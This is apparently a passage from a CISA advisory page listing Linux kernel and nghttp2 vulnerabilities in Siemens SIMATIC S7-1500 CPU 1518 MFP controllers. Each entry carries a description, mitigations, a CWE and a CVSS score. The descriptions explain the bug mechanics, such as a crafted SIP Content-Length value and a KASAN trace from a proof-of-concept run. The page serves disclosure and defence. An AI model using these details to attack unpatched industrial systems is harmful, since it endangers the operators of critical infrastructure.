<p>In the Linux kernel, the following vulnerability has been resolved: net: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown A potential race condition exists in mana_hwc_destroy_channel() where hwc-&gt;caller_ctx is freed before the HWC's Completion Queue (CQ) and Event Queue (EQ) are destroyed. This allows an in-flight CQ interrupt handler to dereference freed memory, leading to a use-after-free or NULL pointer dereference in mana_hwc_handle_resp(). mana_smc_teardown_hwc() signals the hardware to stop but does not synchronize against IRQ handlers already executing on other CPUs. The IRQ synchronization only happens in mana_hwc_destroy_cq() via mana_gd_destroy_eq() -&gt; mana_gd_deregister_irq(). Since this runs after kfree(hwc-&gt;caller_ctx), a concurrent mana_hwc_rx_event_handler() can dereference freed caller_ctx (and rxq-&gt;msg_buf) in mana_hwc_handle_resp(). Fix this by reordering teardown to reverse-of-creation order: destroy the TX/RX work queues and CQ/EQ before freeing hwc-&gt;caller_ctx. This ensures all in-flight interrupt handlers complete before the memory they access is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23454">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23455</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: check for zero length in DecodeQ931() In DecodeQ931(), the UserUserIE code path reads a 16-bit length from the packet, then decrements it by 1 to skip the protocol discriminator byte before passing it to DecodeH323_UserInformation(). If the encoded length is 0, the decrement wraps to -1, which is then passed as a large value to the decoder, leading to an out-of-bounds read. Add a check to ensure len is positive after the decrement.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23455">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23456</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: fix OOB read in decode_int() CONS case In decode_int(), the CONS case calls get_bits(bs, 2) to read a length value, then calls get_uint(bs, len) without checking that len bytes remain in the buffer. The existing boundary check only validates the 2 bits for get_bits(), not the subsequent 1-4 bytes that get_uint() reads. This allows a malformed H.323/RAS packet to cause a 1-4 byte slab-out-of-bounds read. Add a boundary check for len bytes after get_bits() and before get_uint().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23456">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23457</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix Content-Length u32 truncation in sip_help_tcp() sip_help_tcp() parses the SIP Content-Length header with simple_strtoul(), which returns unsigned long, but stores the result in unsigned int clen. On 64-bit systems, values exceeding UINT_MAX are silently truncated before computing the SIP message boundary. For example, Content-Length 4294967328 (2^32 + 32) is truncated to 32, causing the parser to miscalculate where the current message ends. The loop then treats trailing data in the TCP segment as a second SIP message and processes it through the SDP parser. Fix this by changing clen to unsigned long to match the return type of simple_strtoul(), and reject Content-Length values that exceed the remaining TCP payload length.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23457">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/681.html">CWE-681 Incorrect Conversion between Numeric Types</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23458</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix use-after-free in ctnetlink_dump_exp_ct() ctnetlink_dump_exp_ct() stores a conntrack pointer in cb-&gt;data for the netlink dump callback ctnetlink_exp_ct_dump_table(), but drops the conntrack reference immediately after netlink_dump_start(). When the dump spans multiple rounds, the second recvmsg() triggers the dump callback which dereferences the now-freed conntrack via nfct_help(ct), leading to a use-after-free on ct-&gt;ext. The bug is that the netlink_dump_control has no .start or .done callbacks to manage the conntrack reference across dump rounds. Other dump functions in the same file (e.g. ctnetlink_get_conntrack) properly use .start/.done callbacks for this purpose. Fix this by adding .start and .done callbacks that hold and release the conntrack reference for the duration of the dump, and move the nfct_help() call after the cb-&gt;args[0] early-return check in the dump callback to avoid dereferencing ct-&gt;ext unnecessarily. BUG: KASAN: slab-use-after-free in ctnetlink_exp_ct_dump_table+0x4f/0x2e0 Read of size 8 at addr ffff88810597ebf0 by task ctnetlink_poc/133 CPU: 1 UID: 0 PID: 133 Comm: ctnetlink_poc Not tainted 7.0.0-rc2+ #3 PREEMPTLAZY Call Trace: ctnetlink_exp_ct_dump_table+0x4f/0x2e0 netlink_dump+0x333/0x880 netlink_recvmsg+0x3e2/0x4b0 ? aa_sk_perm+0x184/0x450 sock_recvmsg+0xde/0xf0 Allocated by task 133: kmem_cache_alloc_noprof+0x134/0x440 __nf_conntrack_alloc+0xa8/0x2b0 ctnetlink_create_conntrack+0xa1/0x900 ctnetlink_new_conntrack+0x3cf/0x7d0 nfnetlink_rcv_msg+0x48e/0x510 netlink_rcv_skb+0xc9/0x1f0 nfnetlink_rcv+0xdb/0x220 netlink_unicast+0x3ec/0x590 netlink_sendmsg+0x397/0x690 __sys_sendmsg+0xf4/0x180 Freed by task 0: slab_free_after_rcu_debug+0xad/0x1e0 rcu_core+0x5c3/0x9c0</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23458">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23463</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: soc: fsl: qbman: fix race condition in qman_destroy_fq When QMAN_FQ_FLAG_DYNAMIC_FQID is set, there's a race condition between fq_table[fq-&gt;idx] state and freeing/allocating from the pool and WARN_ON(fq_table[fq-&gt;idx]) in qman_create_fq() gets triggered. Indeed, we can have: Thread A Thread B qman_destroy_fq() qman_create_fq() qman_release_fqid() qman_shutdown_fq() gen_pool_free() -- At this point, the fqid is available again -- qman_alloc_fqid() -- so, we can get the just-freed fqid in thread B -- fq-&gt;fqid = fqid; fq-&gt;idx = fqid * 2; WARN_ON(fq_table[fq-&gt;idx]); fq_table[fq-&gt;idx] = fq; fq_table[fq-&gt;idx] = NULL; And adding some logs between qman_release_fqid() and fq_table[fq-&gt;idx] = NULL makes the WARN_ON() trigger a lot more. To prevent that, ensure that fq_table[fq-&gt;idx] is set to NULL before gen_pool_free() is called by using smp_wmb().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23463">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23474</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mtd: Avoid boot crash in RedBoot partition table parser Given CONFIG_FORTIFY_SOURCE=y and a recent compiler, commit 439a1bcac648 ("fortify: Use __builtin_dynamic_object_size() when available") produces the warning below and an oops. Searching for RedBoot partition table in 50000000.flash at offset 0x7e0000 ------------[ cut here ]------------ WARNING: lib/string_helpers.c:1035 at 0xc029e04c, CPU#0: swapper/0/1 memcmp: detected buffer overflow: 15 byte read of buffer size 14 Modules linked in: CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.19.0 #1 NONE As Kees said, "'names' is pointing to the final 'namelen' many bytes of the allocation ... 'namelen' could be basically any length at all. This fortify warning looks legit to me -- this code used to be reading beyond the end of the allocation." Since the size of the dynamic allocation is calculated with strlen() we can use strcmp() instead of memcmp() and remain within bounds.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23474">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/805.html">CWE-805 Buffer Access with Incorrect Length Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23475</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fix statistics allocation The controller per-cpu statistics is not allocated until after the controller has been registered with driver core, which leaves a window where accessing the sysfs attributes can trigger a NULL-pointer dereference. Fix this by moving the statistics allocation to controller allocation while tying its lifetime to that of the controller (rather than using implicit devres).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23475">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-27135</a></h3>
<div class="csaf-accordion-content">
<p>nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API `nghttp2_session_terminate_session` or `nghttp2_session_terminate_session2` is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-27135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31389</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fix use-after-free on controller registration failure Make sure to deregister from driver core also in the unlikely event that per-cpu statistics allocation fails during controller registration to avoid use-after-free (of driver resources) and unclocked register accesses.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31389">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
